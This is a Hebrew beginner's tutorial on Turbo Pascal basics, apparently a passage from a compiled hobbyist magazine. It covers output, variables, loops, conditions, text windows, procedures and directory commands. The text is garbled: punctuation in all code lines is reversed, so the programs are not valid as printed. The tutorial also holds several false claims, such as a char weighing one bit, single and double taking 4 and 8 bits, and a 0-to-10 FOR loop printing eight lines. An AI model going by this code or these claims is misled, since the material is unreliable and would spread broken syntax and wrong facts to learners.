‫המשתמש (‪ ,)Awt‬אלא יוכלו לשמש כפונקציות שנוצרו על ידי המתכנת בהמשך קוד‬
‫המקור‪.‬‬

‫מילים לסיום‬
‫אני מקווה שעכשיו‪ ,‬בעזרת הידע שלכם‪ ,‬אתם יכולים ליצור יישומונים מלאים‪,‬‬
‫דינאמיים ואינטראקטיביים‪ .‬אני ממליץ בענק להשתמש בעורך ‪ JBuilder 2‬של‬
‫בורלנד‪ ,‬שכוללת עורך נוח עם סביבה קלה לשימוש‪ ,‬וגם קומפיילר‪ .‬אשמח לקבל‬
‫תגובות על הטקסט‪ .‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪534‬‬
‫‪TORBO PASCAL‬‬
‫טוב‪ ,‬היום נלמד קצת על אחת משפות התכנות היותר חזקות‪ ,‬ששמות יותר דגש על‬
‫התיכנות עצמו‪ ,‬ופחות דגש על הגרפיקה‪ .‬נלמד היום את הדברים הבסיסיים ביותר‬
‫בשפה האדירה הזאת‪...‬‬

‫פסקל‪ :‬מה היעד ולמה זה טוב?‬

‫פסקל הוא כמו סי פלוס פלוס בגרסא מתקדמת יותר‪ ...‬בשפת פסקל בונים דברים‬
‫בסיסיים והתחלתיים‪ ,‬ממשקים למערכות הפעלה למשל‪ .‬לפסקל אין גרפיקה טובה‬
‫כמו לויזואל בייסיק‪ ,‬אבל אין לה גם את האפשרויות המוגבלות מאוד שיש בשפת‬
‫קוויק בייסיק‪ .‬פסקל היא שפה שהיעד שלה הוא אם אס דוס‪ .‬פסקל היא שפה קלה‪,‬‬
‫לא דורשת מחשבה רבה מדי‪ ,‬ובעלת אפשרויות אינסופיות כמעט‪.‬‬

‫מה הכתבה כוללת‬

‫התחלת התוכנית וסיומה‪.BEGIN, END :‬‬


‫פקודות כתיבה וקריאה‪.Write, Read :‬‬
‫ירידת שורה‪.WriteLn, ReadLn :‬‬
‫משתנים‪.VAR :‬‬
‫אופרטורים‪ :‬שווה‪ ,‬חיבור‪ ,‬חיסור‪ ,‬כפל‪ ,‬חילוק‪.‬‬
‫שימוש בקבצים חיצוניים‪.USES, *.tpu :‬‬
‫שימוש בלולאות‪.FOR, REPEAT :‬‬
‫קריאת מקש‪.ReadKey :‬‬
‫תנאים‪.IF, THEN, ELSE :‬‬
‫ניקוי מסך‪.ClrScr :‬‬
‫שימוש בחלונות גרפיים‪.Window :‬‬
‫שימוש בפרוצדורות‪.PROCEDURE :‬‬
‫עבודה עם תיקיות‪.RemoveDir, RmDir, MkDir, ChDir, GetDir :‬‬
‫עבודה עם קבצים‪.Assign, Rewrite, Close, ExeC, SwapVectors, Reset :‬‬
‫שימוש באסקיי‪.Chr, Ord :‬‬

‫מתחילים‬

‫טוב‪ ,‬לי יש בבית את טורבו פסקל שבע‪ ,‬שבאופן אישי לדעתי היא הגרסא הכי‬
‫טובה של שפת פסקל‪ .‬אפשר להוריד בחינם את טורבו פסקל‪ .‬מי שרוצה יכול לשאול‬
‫אותי‪ ,‬או לחפש באתר של גוגל‪ .‬עכשיו‪ ,‬פתחנו את פסקל‪ .‬יש לנו מסך כחול כזה‪,‬‬
‫שמחולק לתפריטים למעלה‪ ,‬לחלון הכחול מתחתיו‪ ,‬ואפילו יש לנו שורת קיצורי‬
‫דרך ועזרה למטה‪ .‬עכשיו‪ ,‬לפסקל יש כמה כללים‪:‬‬

‫‪ )1‬כל מילה שהיא מילה שמורה‪ ,‬תסומן בצבע לבן‪.‬‬


‫‪ )2‬כל תוכנית או פרוצדורה מתחילה במילה ‪ ,BEGIN‬ונגמרת במילה ‪.END‬‬
‫‪ )3‬כל שורת תיכנות שהיא לא הצהרה‪ ,‬תסתיים בנקודה פסיק כאלה ;‪.‬‬
‫‪ )4‬רוב האפשרויות בפסקל נמצאות בקבצים חיצוניים‪ ,‬שיש לציין אותם בהתחלה‪.‬‬
‫‪ )5‬פסקל מבצעת פקודה אחר פקודה‪ ,‬ואין לה את היכולת לבצע שתי פקודות באותו‬
‫זמן‪.‬‬

‫‪535‬‬
‫האפליקצייה הראשונה שלנו‬

‫טוב‪ ,‬אחרי שאנחנו יודעים בערך מה זה פסקל‪ ,‬ואת החוקים הבסיסיים שלה‪ ,‬אפשר‬
‫להתחיל‪ .‬תפתחו את פסקל‪ ,‬אם עדיין לא פתחתם‪ .‬עכשיו‪ ,‬כמו שכתוב בהחוקים‬
‫למעלה‪ ,‬נכתוב בשורה הראשונה הצהרה לתוכנית שהתוכנית מתחילה עכשיו‪ ,‬זאת‬
‫אומרת‪ ,‬נכתוב ‪ ,BEGIN‬ונרד שורה על ידי לחיצה על אנטר‪ .‬הדבר הבא שנעשה‪,‬‬
‫הוא הקוד עצמו של התוכנית‪ .‬אנחנו רוצים שיהיה כתוב לנו משהו‪ .‬נגיד שאנחנו‬
‫רוצים שיהיה כתוב לנו "‪ ."This is my first application‬נשתמש בפקודה מאוד‬
‫מרכזית ובסיסית‪ ,‬ששמה הוא ‪ ,Write‬שבעצם כותבת לנו משהו על המסך‪ .‬דומה קצת‬
‫לפקודה ‪ printf‬בסי‪ ,‬למי שמכיר‪ .‬עכשיו‪ ,‬נכתוב בגרשיים‪ ,‬את הטקסט שאנחנו‬
‫רוצים‪ .‬השורה המלאה תראה ככה (קונטרול ושיפט כדי להבין)‪:‬‬

‫‪;)'Write ('This is my first application‬‬

‫אחרי זה נכתוב את הסיום של התוכנית‪ ,‬יעני המילה ‪ END‬עם נקודה אחריה‪ .‬כל‬
‫התוכנית שלנו תהיה (קונטרול ושיפט עוד פעם)‪:‬‬

‫‪BEGIN‬‬
‫‪;)'Write ('This is my first application‬‬
‫‪.END‬‬

‫עכשיו‪ ,‬אנחנו יכולים לנסות להריץ בלי לקמפל‪ ,‬אבל אנחנו לא נראה כלום‪ ,‬כי‬
‫ההרצה הרגילה בנויה כך שיש הרצה של מה שכתבנו‪ ,‬ואז יציאה אוטומטית‪ ,‬זאת‬
‫אומרת שעד שלא אמרנו לתוכנית לעצור ולחכות‪ ,‬היא לא תחכה‪ ...‬אז לחצו על‬
‫שני המקשים ‪ Alt‬וגם על ‪ .F9‬יופי‪ .‬עכשיו‪ ,‬צאו מפסקל‪ ,‬וכנסו לתיקיית פסקל‪.‬‬
‫עכשיו‪ ,‬תחפשו בתוך התיקייה קובץ ששמו ‪ .NONAME00.EXE‬תפתחו אותו‪ .‬אם עשיתם‬
‫הכל נכון‪ ,‬צריך להיות כתוב לכם "‪ ."This is my first application‬סחתיין‪,‬‬
‫בניתם תוכנית! דרך אגב‪ ,‬אם רוצים לכתוב גרש‪ ,‬נגיד ‪ ,That's it‬נכתוב שני‬
‫גרשיים‪ ,‬כאילו (קונטרול ושיפט)‪:‬‬

‫‪;)'!Write ('That''s it‬‬

‫טוב‪ ,‬בואו נכנס לפסקל שוב‪ ,‬יש עוד מלא פקודות!!!‬

‫שימוש בירידת שורה‬

‫נגיד שאנחנו רוצים לכתוב שורה אחרי שורה‪ ...‬מה נעשה? יש שתי אותיות שאפשר‬
‫להוסיף לפקודת קריאה וכתיבה‪ .‬האותיות הן ‪ ,Ln‬קיצור של ‪ .Line‬טוב‪ ,‬אז נעשה‬
‫תוכנית כזאת (קונטרול ושיפט)‪:‬‬

‫‪BEGIN‬‬
‫‪;)'WriteLn ('This is the first line‬‬
‫‪;)'WriteLn ('And this is the second line‬‬
‫‪.END‬‬

‫עכשיו תקמפלו כמו מקודם‪ ,‬ותריצו‪ .‬התוכנית יקראו ‪.NONAME01.EXE‬‬

‫‪536‬‬
‫משתנים ופקודות קריאה‬

‫טוב‪ ,‬תכתבו הצהרת התחלה לתוכנית‪ .BEGIN :‬נגיד שאנחנו רוצים לעשות מחשבון‪,‬‬
‫למשל‪ .‬המחשבון הזה ייקח שני מספרים מהמשתמש‪ ,‬ויראה חיבור‪ ,‬חיסור‪ ,‬כפל וגם‬
‫חילוק‪ .‬הנה התוכנית‪ ,‬ואחריה הסברים (שוב קונטרול ושיפט)‪:‬‬

‫‪VAR‬‬
‫‪;VarX, VarY: longint‬‬
‫‪BEGIN‬‬
‫‪;)':WriteLn ('Ok, Here is our calculator‬‬
‫‪;)' :Write ('Enter the first number‬‬
‫‪;)ReadLn (VarX‬‬
‫‪;)' :Write ('Enter the second number‬‬
‫‪;)ReadLn (VarY‬‬
‫‪;)WriteLn ('X + Y = ', VarX + VarY‬‬
‫‪;)WriteLn ('X - Y = ', VarX - VarY‬‬
‫‪;)WriteLn ('X * Y = ', VarX * VarY‬‬
‫‪;)WriteLn ('X / Y = ', VarX / VarY‬‬
‫‪.END‬‬

‫הסברים‬

‫‪ :VAR‬הצהרה על הכנסת משתנה‪ ,‬קיצור של ‪.Variable‬‬


‫‪ :VarX, VarY‬שמות של שני משתנים חדשים‪.‬‬
‫‪ :longint‬סוג משתנה שהוא בעצם מספר ארוך‪ ,‬קיצור של ‪.Long Integer‬‬
‫‪ :ReadLn‬פקודת קריאה‪ .‬התוכנית מחכה להכנסת מספר ועוד לחיצה על אנטר‪.‬‬
‫‪ :+‬אופרטור‪ ,‬חיבור בין שני מספרים‪.‬‬
‫‪ :-‬אופרטור‪ ,‬חיסור בין שני מספרים‪.‬‬
‫*‪ :‬אופרטור‪ ,‬כפל בין שני מספרים‪.‬‬
‫‪ :/‬אופרטור‪ ,‬חילוק מספר ראשון בשני‪ .‬החילוק הוא סלאש עולה ‪ ,/‬ולא יורד \‪.‬‬
‫‪ :,‬בתוך הכתיבה‪ ,‬זה הפרדה בין טקסט כתוב לבין טקסט שנובע ממשתנים‪.‬‬

‫טוב‪ ,‬בואו נסביר קצת על סוגי משתנים‬

‫למשתנים (נקראים גם פרמטרים)‪ ,‬יש שלושה חלקים‪ ,‬בכל שפת תיכנות‪.‬‬

‫החלק ראשון‬

‫הצהרה על הגדרת משתנה‪ .‬בפסקל זה ‪ ,VAR‬בויזואל בייסיק זה ‪.DIM‬‬

‫החלק השני‬

‫שם המשתנה‪ .‬למשתנה חייב להיות שם חוקי (עדיף אותיות)‪.‬‬

‫החלק השלישי‬

‫סוג משתנה‪ .‬הצהרה על סוג המשתנה‪ .‬בפסקל יש נקודותיים אחרי שם המשתנה‪ ,‬ואז‬
‫מגיע הסוג‪ .‬היתרון הגדול של ויזואל בייסיק על פסקל הוא שבויזואל בייסיק‬
‫יש את האפשרות להשאיר משתנה ריק‪ ,‬בלי להגדיר את הסוג שלו‪.‬‬

‫‪537‬‬
‫סוגים של משתנים‬

‫‪ :integer‬מספר מלא‪.‬‬
‫‪ :longint‬מספר מלא ארוך‪.‬‬
‫‪ :string‬מחרוזת‪ ,‬טקסט‪.‬‬
‫‪ :boolean‬מחזיר נכון או לא נכון‪.True Or False ,‬‬
‫‪ :single‬מספר יחיד‪ ,‬שוקל ‪ 4‬ביט‪.‬‬
‫‪ :double‬מספר כפול‪ ,‬שוקל ‪ 8‬ביט‪.‬‬
‫‪ :text‬טקסט‪ ,‬מאוד שימושי‪ ,‬דומה לסטרינג‪.‬‬
‫‪ :file‬משתנה קובץ‪.‬‬
‫‪ :char‬צ'אר מסויים‪ ,‬קוד אסקיי‪ ,‬שוקל ביט אחד‪.‬‬

‫כמובן שזה חלק מאוד קטן מסוגי המשתנים‪ .‬המשתנים פה הם השימושיים ביותר‪.‬‬

‫שימוש בקבצים חיצוניים‬

‫כמו שצויין למעלה‪ ,‬פסקל משתמשת בקבצים חיצוניים‪ ,‬מה שהופך אותה לשפה עם‬
‫אפשרויות אינסופיות‪ .‬קבצים אלו הם עם סיומת ‪ ,tpu‬והם מקבילים לקבצים של‬
‫ויזואל בייסיק‪ ,‬עם סיומת ‪ ,ocx‬או לקבצים של סי‪ ,‬סיומת ‪.h‬‬
‫עכשיו‪ ,‬פסקל באה עם מספר קבצים חיצוניים‪ ,‬כמובן שאפשר להוריד עוד מלא‬
‫מהאינטרנט‪ .‬בתוך תוכנית הפסקל צריך לציין באיזה קובץ אנחנו משתמשים‪ .‬הנה‬
‫דוגמא לקוד קצר שנותן צבע לטקסט‪ ,‬ומשתמש בקובץ חיצוני (קונטרול ושיפט)‪:‬‬

‫‪;USES Crt‬‬
‫‪BEGIN‬‬
‫‪;)TextColor(9‬‬
‫‪;)'WriteLn ('Here is the colored line‬‬
‫‪.END‬‬

‫טוב‪ ,‬פה אנחנו משתמשים בקובץ שאחראי בעיקר לפעולות גרפיקה‪ ,‬בעיקר יש דגש‬
‫על צבע‪ .‬הנה קצת הסברים‪:‬‬

‫‪ :USES‬מילה שמורה‪ ,‬הצהרה על שימוש בקובץ חיצוני‪.‬‬


‫‪ :Crt‬הקובץ ‪ ,Crt.tpu‬קובץ חיצוני‪ .‬כותבים רק את שם הקובץ בלי סיומת‪.‬‬
‫‪ :TextColor‬פקודה שיוצאת מהקובץ ‪ ,Crt.tpu‬אחראית לצבע טקסט‪.‬‬
‫‪ :9‬צבע כחול‪ ,‬יש מלא צבעים‪ ,‬חלקם אפילו מהבהבים‪ ,‬סכנה לחולי אפילפסיה!!!‬

‫שימוש בלולאות‬

‫טוב‪ ,‬הגיע הזמן לחלק החשוב בתיכנות‪ :‬לולאות!!! לולאה בתיכנות (‪ ,)Loop‬היא‬
‫חזרה מסויימת על פקודה‪ .‬יש סוגים שונים של לולאות בכל שפה‪ .‬היום נלמד רק‬
‫שתיים‪ :‬לולאת פור (הגבלה במספר)‪ ,‬ולולאת ריפיט (הגבלה בתנאי)‪.‬‬

‫לולאת פור‬

‫הלולאה מורכבת ממספר חלקים‪ .‬חלק המציין את הסוג של הלולאה‪ ,‬משתנה עולה‪,‬‬
‫מספר התחלתי של המשתנה‪ ,‬מספר סופי של המשתנה‪ ,‬ואז התחלת הלולאה‪ ,‬הקוד של‬
‫הלולאה‪ ,‬ולבסוף סיום הלולאה‪ .‬קצת מסובך‪ ,‬אבל נסתדר‪( .‬קונטרול ושיפט)‪:‬‬

‫‪VAR‬‬

‫‪538‬‬
‫‪;Xxx: integer‬‬
‫‪BEGIN‬‬
‫‪FOR Xxx := 0 TO 10 DO‬‬
‫‪BEGIN‬‬
‫‪;)WriteLn ('Loop number ', Xxx‬‬
‫‪;END‬‬
‫‪.END‬‬

‫קצת הסברים‬

‫‪ :FOR‬ציון סוג הלולאה‪ ,‬לולאת פור‪ ,‬הגבלה במספר‪.‬‬


‫‪ :Xxx‬זה המשתנה מסוג מספר מלא‪.‬‬
‫‪ :=:‬זה סימן השווה‪ ,‬אופרטור‪ ,‬שהוא נקודותיים ואז שווה‪.‬‬
‫‪ :0‬המספר ההתחלתי של הלולאה‪.‬‬
‫‪ :TO‬הצהרה של המספר הסופי של הלולאה‪.‬‬
‫‪ :10‬זה בעצם הלולאה האחרונה‪ ,‬הלולאה העשירית‪.‬‬
‫‪ :DO‬הגדרה של עלייה באחד כל לולאה‪ .‬יש אפשרות לירידה‪.DOWNTO ,‬‬
‫‪ :BEGIN‬ההתחלה של הלולאה‪ .‬זה הבגין השני בתוכנית‪.‬‬
‫‪ :;END‬סוף הלולאה‪ ,‬שנגמר בנקודה פסיק‪ ,‬להבדיל מסוף התוכנית שנגמר בנקודה‪.‬‬

‫טוב‪ ,‬אם הבנתם קצת‪ ,‬זה בעצם מראה לנו את מספר הלולאה‪ .‬תקמפלו ותריצו‪ .‬כדי‬
‫לא לבלבל‪ ,‬בתוכנית ייכתבו שמונה שורות‪ ,‬וזה בגלל שהלולאה כוללת את אפס‪.‬‬

‫לולאת ריפיט‬

‫גם הלולאה הזאת מורכבת ממספר חלקים‪ .‬הצהרה על סוג הלולאה‪ ,‬קוד הלולאה‪,‬‬
‫ולבסוף תנאי‪ .‬לחצו על קונטרול ושיפט (זה לא מתחיל להמאס הקונטרול ושיפט?)‬

‫‪VAR‬‬
‫‪;Xxx:integer‬‬
‫‪BEGIN‬‬
‫‪REPEAT‬‬
‫‪;)WriteLn ('Loop number ', Xxx‬‬
‫‪;Xxx := Xxx + 1‬‬
‫‪;UNTIL Xxx = 8‬‬
‫‪.END‬‬

‫הסברים‬

‫‪ :REPEAT‬הצהרה על סוג הלולאה‪ ,‬לולאת ריפיט‪ ,‬לולאה בתנאי‪.‬‬


‫‪ :UNTIL‬סוג התנאי‪ ,‬כלומר עד ש‪...‬‬
‫‪ :Xxx = 8‬התנאי עצמו‪ .‬עד שהמשתנה איקס איקס איקס יהיה שווה לשמונה‪.‬‬

‫טוב‪ ,‬מי שיקמפל ויריץ‪ ,‬ייגלה שבעצם יש לנו את אותה תוצאה בשני סוגים של‬
‫לולאות‪ .‬הלולאה הראשונה אומרת לתוכנית ככה‪ :‬תיקח את המשתנה‪ ,‬תשווה אותו‬
‫לאפס‪ ,‬תעלה אותו כל פעם באחד עד שהוא מגיע לשבע‪ ,‬ובינתיים תעשה את הקוד‬
‫של הלולאה‪ .‬הלולאה השנייה אומרת לתוכנית ככה‪ :‬תכניס חזרה כל פעם‪ ,‬תעלה את‬
‫המשתנה באחד כל חזרה‪ ,‬וכשהמשתנה מגיע לשמונה תפסיק את החזרה‪ .‬שתי הלולאות‬
‫נותנות את אותה תוצאה‪ ,‬אך הן לא דומות אפילו‪ .‬הלולאה פור מתייחסת לטווח‬
‫מספרים‪ ,‬והלולאה ריפיט מתייחסת לחזרה עד שתנאי מסויים מתקיים‪ ,‬או כל עוד‬
‫תנאי מסויים מתקיים‪.‬‬

‫‪539‬‬
‫הפקודה קריאת מקש‬

‫טוב‪ ,‬קריאת מקש היא פקודה מקובץ חיצוני‪ ,‬פקודה חשובה לאללה‪ .‬הפקודה נגזרת‬
‫מהקובץ החיצוני ‪ ,Crt.tpu‬ודומה מאוד לפקודת קריאה‪ .‬ההבדל הוא‪ ,‬שבפקודת‬
‫קריאה אמרנו לתוכנית לחכות להכנסה של משהו מהמשתמש באמצעות המקלדת‪ ,‬ואחרי‬
‫זה שהמשתמש יכניס אנטר‪ .‬עד שאנטר לא נלחץ‪ ,‬התוכנית לא ממשיכה‪ .‬קריאת מקש‬
‫לא מחכה לאנטר‪ ,‬אלא קוראת את המקש הראשון החוקי שהמשתמש לחץ עליו‪ .‬הנה‬
‫דוגמא קטנה לשילוב של לולאת ריפיט לבין קריאת מקש (קונטרול ושיפט)‪:‬‬

‫‪;USES Crt‬‬
‫‪VAR‬‬
‫‪;KeyYeah:char‬‬
‫‪BEGIN‬‬
‫‪REPEAT‬‬
‫‪;KeyYeah := ReadKey‬‬
‫‪;)'UNTIL (KeyYeah = 'Y') OR (KeyYeah = 'y‬‬
‫‪.END‬‬

‫הסברים‬

‫‪ :KeyYeah‬משתנה מסוג צ'אר‪ ,‬שוקל ביט אחד‪ ,‬קוד אסקיי‪.‬‬


‫‪ :ReadKey‬פקודה הקוראת את המקש החוקי הראשון שנלחץ‪.‬‬
‫‪ :'KeyYeah = 'Y‬תנאי‪ ,‬המקש שנלחץ יהיה ‪.Y‬‬
‫‪ :OR‬חלק מתנאי‪ ,‬זאת אומרת "או"‪.‬‬

‫לכל מי שלא הבין‪ :‬התוכנית מקבלת תמיד את המקש שנלחץ‪ ,‬ומשווה את המשתנה אל‬
‫המקש שנלחץ‪ .‬התוכנית לא תמשיך עד שהמקש ‪( Y‬אות גדולה) או ‪( y‬אות קטנה)‬
‫נלחצה על ידי המשתמש‪.‬‬

‫תנאים‬

‫טוב‪ ,‬כבר די התעסקנו בזה‪ ,‬אבל זה חלק חשוב בכלל בתיכנות‪ ,‬אז שיהיה‪ .‬תנאי‬
‫הוא בעצם חלק תיכנותי המורכב מהצהרה על התחלת התנאי‪ ,‬התנאי עצמו‪ ,‬התוצאה‬
‫אם התנאי מתקיים‪ ,‬ויש אפשרות להכניס גם מה קורה אם התנאי לא מתקיים‪ .‬הנה‬
‫תוכנית קטנה לתנאי (קונטרול ושיפט שוב)‪:‬‬

‫‪VAR‬‬
‫‪;Yyy: longint‬‬
‫‪BEGIN‬‬
‫‪;)ReadLn (Yyy‬‬
‫‪IF Yyy = 544 THEN‬‬
‫‪BEGIN‬‬
‫‪;)'WriteLn ('This is the right password‬‬
‫‪END‬‬
‫‪ELSE‬‬
‫‪BEGIN‬‬
‫‪;)'WriteLn ('This is the wrong password‬‬
‫‪;END‬‬
‫‪.END‬‬

‫‪540‬‬
‫הסברים‬

‫‪ :IF‬הצהרה על התנאי‪ ,‬יעני אם משהו קורה‪ ,‬אז‪ .‬זה החלק של "אם‪."...‬‬


‫‪ :Yyy = 544‬זה התנאי עצמו‪ .‬אם כתבנו ‪ ,544‬אז‪...‬‬
‫‪ :THEN‬טוב‪ ,‬זה החלק של "אז‪."...‬‬
‫‪ :BEGIN‬התחלת התנאי‪ .‬אני מדבר על הבגין השני‪ ,‬כמובן‪.‬‬
‫‪ :END‬סוף הקוד בנקודת המחה שהתנאי כן התקיים‪.‬‬
‫‪ :ELSE‬אם התנאי לא התקיים‪ ,‬אז‪...‬‬
‫‪ ;END‬סוף הקוד בנקודת הנחה שהתנאי לא התקיים‪.‬‬

‫למי שעוד פעם לא ממש הבין‪ :‬התוכנית קוראת מהמשתמש מספר‪ .‬אם המספר שהכנסנו‬
‫הוא ‪ ,544‬אז התוכנית תכתוב שזאת הסיסמא הנכונה‪ ,‬אבל אם הכנסנו משהו אחר‬
‫מהמספר ‪ ,544‬אז התוכנית תכתוב שזאת הסיסמא הלא נכונה‪.‬‬

‫ניקוי מסך‬

‫פקודה בתוך יחידת ‪ ,Crt.tpu‬אחראית לניקוי המסך‪ .‬דוגמא (קונטרול ושיפט)‪:‬‬

‫‪;USES Crt‬‬
‫‪BEGIN‬‬
‫‪;)'.WriteLn('This line won't be seen by the user‬‬
‫‪;ClrScr‬‬
‫‪.END‬‬

‫הסבר‬

‫‪ :ClrScr‬מנקה את המסך‪ ,‬כך שהמשתמש לא ייראה את מה שכתוב לפני הניקוי‪.‬‬

‫שימוש בחלונות גרפיים‬

‫טוב‪ ,‬פה גם נשתמש בקובץ חיצוני‪ ,‬עוד פעם ‪ ,Crt.tpu‬שאחראי על גרפיקה‪ .‬טוב‪,‬‬
‫קצת הסברים‪ :‬חלון גרפי זה חלון בעל צבע אחורי מסויים‪ ,‬שבעצם "עולה" על‬
‫הרקע או על חלון אחר‪ .‬חלון זה מתפקד לבד אחרי שהכנסנו אותו‪ .‬לפקודה שבה‬
‫מכניסים חלון יש שתי נקודות‪ .‬כל נקודה מורכבת משני מספרים על הפלטפורמה‬
‫הגרפית‪ X ,‬וגם ‪ .Y‬הנקודה הראשונה היא החלק השמאלי העליון של החלון‪ ,‬ויש‬
‫גם את הנקודה התחתונה‪ ,‬שהיא החלק הימני התחתון של החלון‪ .‬לפני הגדרתו של‬
‫החלון יש לציין צבע אחורי‪ .‬אם לא הגדרנו‪ ,‬החלון יהיה שחור‪ ,‬ואז לא ייראו‬
‫אותו‪ .‬אחרי הגדרת החלון יש לעשות ניקוי מסך‪ .‬הנה דוגמא לחלון‪ ,‬שצבעו כחול‬
‫וצבע הטקסט שלו הוא לבן (קונטרול ושיפט)‪:‬‬

‫‪;USES Crt‬‬
‫‪BEGIN‬‬
‫‪;)TextBackground (9‬‬
‫‪;)TextColor (15‬‬
‫‪;)Window (5,5,10,10‬‬
‫‪;ClrScr‬‬
‫‪.END‬‬

‫‪541‬‬
‫הסברים‬

‫‪ :TextBackground‬קובע את הצבע האחורי של החלון‪.‬‬


‫‪ :TextColor‬קובע את הצבע של הטקסט בתוך החלון‪.‬‬
‫‪ :Window‬בונה חלון מנקודה ‪ 5,5‬עד לנקודה ‪.10,10‬‬
‫‪ :ClrScr‬מנקה את המסך‪ ,‬כדי שהחלון יווצר‪.‬‬

‫החלון המקסימלי שחלון אם אס דוס יכול להרשות‪ ,‬הוא (קונטרול ושיפט)‪:‬‬


‫‪;)Window (1,1,80,25‬‬

‫שימוש בפרוצדורות‬

‫פרוצדורה היא כמו רצף של פקודות נפרדות‪ .‬הפרוצדורות נוחות מאוד‪ ,‬עושות‬
‫למתכנת קצת סדר בראש‪ ,‬וקלות לתיכנות‪ .‬הפרוצדורה מורכבת מהצהרה על התחלתה‬
‫של הפרוצדורה שמה של הפרוצדורה‪ ,‬הקוד של הפרוצדורה‪ ,‬והצהרה על הסיום‪ .‬הנה‬
‫דוגמא טובה לקוד עם פרוצדורות (קונטרול ושיפט)‪:‬‬

‫‪;USES Crt‬‬
‫‪;PROCEDURE CreateWindow‬‬
‫‪BEGIN‬‬
‫‪;)TextBackground (9‬‬
‫‪;)TextColor (15‬‬
‫‪;)Window (1,1,80,25‬‬
‫‪;ClrScr‬‬
‫‪;END‬‬
‫‪BEGIN‬‬
‫‪;CreateWindow‬‬
‫‪;)'!!!WriteLn ('It works‬‬
‫‪.END‬‬

‫הסברים‬

‫‪ :PROCEDURE‬הצהרה על התחלת פרוצדורה חדשה‪.‬‬


‫‪ :CreateWindow‬שם חוקי לפרוצדורה (עדיף להשתמש באותיות)‪.‬‬
‫‪ :BEGIN‬הבגין הראשון הוא התחלת הפרוצדורה‪ .‬הבגין השני הוא גוף התוכנית‪.‬‬
‫‪ :TextBackground‬לחלון יהיה רקע כחול‪.‬‬
‫‪ :TextColor‬בחלון הטקסט יהיה לבן‪.‬‬
‫‪ :Window‬יוצר חלון‪ .‬במקרה הזה‪ ,‬על כל המסך‪.‬‬
‫‪ :ClrScr‬המגע האחרון‪ ,‬שיוצר בעצם את החלון‪.‬‬
‫‪ :;END‬סוף הפרוצדורה‪.‬‬
‫‪ :CreateWindow‬זה שמופיע בגוף התוכנית‪ ,‬אומר לתוכנה ללכת לאותה פרוצדורה‪.‬‬
‫‪ :WriteLn‬פקודה בגוף התוכנית‪ ,‬אך היא תכתב בתוך החלון‪.‬‬

‫עבודה עם תיקיות‬

‫טוב‪ ,‬הגיע הזמן לעבוד עם דברים מחוץ לתוכנית‪ .‬הפקודות שנלמד יהיו מחיקה‬
‫של תיקייה ריקה‪ ,‬יצירת תיקייה‪ ,‬שינוי מעבר‪ ,‬והשגת מעבר‪.‬‬

‫‪542‬‬
‫מחיקת תיקייה ריקה‬

‫תיצרו תיקייה ריקה בכונן סי אצלכם‪ .‬אם אתם לא יודעים איך‪ ,‬אז תלחצו על‬
‫התחל‪ ,‬הפעלה‪ ,‬תיכתבו ‪ MkDir C:\Just‬ותלחצו אנטר‪ .‬התיקייה תהיה בכונן סי‪,‬‬
‫ויקראו לה ‪ .Just‬סתם שם מקרי‪ .‬עכשיו‪ ,‬תיכנסו לפסקל‪ .‬תיכתבו את הקוד הבא‬
‫ודרך אגב‪ ,‬תלחצו גם עכשיו על קונטרול ושיפט כדי להבין מה הולך פה‪:‬‬

‫‪BEGIN‬‬
‫‪;)'RmDir ('C:\Just‬‬
‫‪;)'.WriteLn ('C:\Just has been deleted‬‬
‫‪.END‬‬

‫הסברים‬

‫‪ :RmDir‬הצהרה על מחיקת תיקייה‪.‬‬


‫‪ :C:\Just‬התיקייה הריקה שעשינו‪ ,‬נמחקה‪.‬‬

‫האמת היא שיש עוד פקודה למחיקת תיקייה ריקה‪ ,‬ששמה ‪ .RemoveDir‬אין לי מושג‬
‫למה יש שתי פקודות עם תוצאה זהה באותה שפת תיכנות‪ ,‬אבל שתיהן טובות‪.‬‬

‫יצירת תיקייה ריקה‬

‫זה בדיוק אותו דבר כמו מחיקה‪ ,‬אבל הצהרה אחרת‪ .‬הנה זה (קונטרול ושיפט)‪:‬‬

‫‪BEGIN‬‬
‫‪;)'MkDir ('C:\Just‬‬
‫‪;)'.WriteLn ('C:\Just has been created‬‬
‫‪.END‬‬

‫הסברים‬

‫‪ :MkDir‬הצהרה על יצירת תיקייה‪.‬‬


‫‪ :C:\Just‬התיקייה החדשה שיצרנו‪.‬‬

‫השגת מעבר‬

‫טוב‪ ,‬מעבר נקרא באנגלית ‪ ,Path‬זה התרגום הכי טוב שמצאתי לזה‪ ...‬עכשיו‪,‬‬
‫מעבר מתפקד בתור תיקייה עכשיוות‪ ,‬יעני איפה הניווט עכשיו‪ .‬הנה הקוד המלא‬
‫להשגת מעבר וכתיבתו (קונטרול ושיפט)‪:‬‬

‫‪;USES Dos‬‬
‫‪VAR‬‬
‫‪;CurrentDir: string‬‬
‫‪BEGIN‬‬
‫‪;)GetDir (0, CurrentDir‬‬
‫‪;)WriteLn (CurrentDir‬‬
‫‪.END‬‬

‫‪543‬‬
‫הסברים‬

‫‪ :USES Dos‬שימוש בקובץ חיצוני‪.Dos.tpu ,‬‬


‫‪ :CurrentDir: string‬משתמש חדש שיהיה מחרוזת‪.‬‬
‫‪ :GetDir‬פקודה שנגזרת מהקובץ ‪.Dos.tpu‬‬
‫‪ :0‬ברירת מחדל של הכונן‪.‬‬
‫‪ :CurrentDir‬משתנה זה בתוך הצהרת השג מעבר‪ ,‬מכניס את המעבר למשתנה‪.‬‬

‫הבנתם בערך? אני מקווה שכן‪ .‬עכשיו‪ ,‬נעשה בדיוק ההפך מקבלת מעבר‪.‬‬

‫שינוי מעבר‬

‫טוב‪ ,‬אני לא אאריך בדיבורים פה‪ .‬יהיו כמובן הסברים‪ ,‬ישר אחרי הקוד מקור‬
‫הבא (קונטרול ושיפט)‪:‬‬

‫‪BEGIN‬‬
‫‪;)'ChDir ('C:\Windows‬‬
‫‪.END‬‬

‫הסברים‬

‫‪ :ChDir‬הצהרה על שינוי המעבר העכשווי‪.‬‬


‫‪ :C:\Windows‬המעבר העכשווי הופך לתיקיית וינדואוז‪.‬‬

‫עבודה עם קבצים‬

‫טוב‪ ,‬זה הרבה הרבה הרבה יותר מסובך מעבודה עם תיקיות‪ .‬הדברים שנלמד יהיו‬
‫יצירת קובץ‪ ,‬פתיחת קובץ‪ ,‬סגירת קובץ‪ ,‬שינוי קובץ‪ ,‬קריאה מתוך קובץ ואפילו‬
‫הרצת קובץ‪.‬‬

‫יצירת קובץ‬

